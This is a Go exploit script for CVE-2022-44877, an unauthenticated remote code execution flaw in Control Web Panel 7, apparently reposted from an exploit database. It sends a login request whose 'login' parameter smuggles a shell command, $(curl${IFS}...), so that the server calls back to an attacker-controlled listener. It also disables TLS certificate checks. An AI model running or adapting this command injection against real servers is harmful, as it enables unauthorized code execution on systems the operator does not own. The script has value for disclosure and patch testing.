Share
## https://sploitus.com/exploit?id=PACKETSTORM:171725
// Exploit Title: Control Web Panel 7 (CWP7) v0.9.8.1147 - Remote Code Execution (RCE)  
// Date: 2023-02-02  
// Exploit Author: Mayank Deshmukh  
// Vendor Homepage: https://centos-webpanel.com/  
// Affected Versions: version < 0.9.8.1147  
// Tested on: Kali Linux  
// CVE : CVE-2022-44877  
// Github POC: https://github.com/ColdFusionX/CVE-2022-44877-CWP7  
  
// Exploit Usage : go run exploit.go -u https://127.0.0.1:2030 -i 127.0.0.1:8020  
  
package main  
  
import (  
"bytes"  
"crypto/tls"  
"fmt"  
"net/http"  
"flag"  
"time"  
)  
  
func main() {  
  
var host,call string  
flag.StringVar(&host, "u", "", "Control Web Panel (CWP) URL (ex. https://127.0.0.1:2030)")  
flag.StringVar(&call, "i", "", "Listener IP:PORT (ex. 127.0.0.1:8020)")  
  
flag.Parse()  
  
banner := `  
-= Control Web Panel 7 (CWP7) Remote Code Execution (RCE) (CVE-2022-44877) =-  
- by Mayank Deshmukh (ColdFusionX)  
  
`  
fmt.Printf(banner)  
fmt.Println("[*] Triggering cURL command")  
  
fmt.Println("[*] Open Listener on " + call + "")  
  
//Skip certificate validation  
tr := &http.Transport{  
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},  
}  
client := &http.Client{Transport: tr}  
  
// Request URL  
url := host + "/login/index.php?login=$(curl${IFS}" + call + ")"  
  
// Request body  
body := bytes.NewBuffer([]byte("username=root&password=cfx&commit=Login"))  
  
// Create HTTP client and send POST request  
req, err := http.NewRequest("POST", url, body)  
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")  
resp, err := client.Do(req)  
if err != nil {  
fmt.Println("Error sending request:", err)  
return  
}  
time.Sleep(2 * time.Second)  
  
defer resp.Body.Close()  
fmt.Println("\n[*] Check Listener for OOB callback")  
}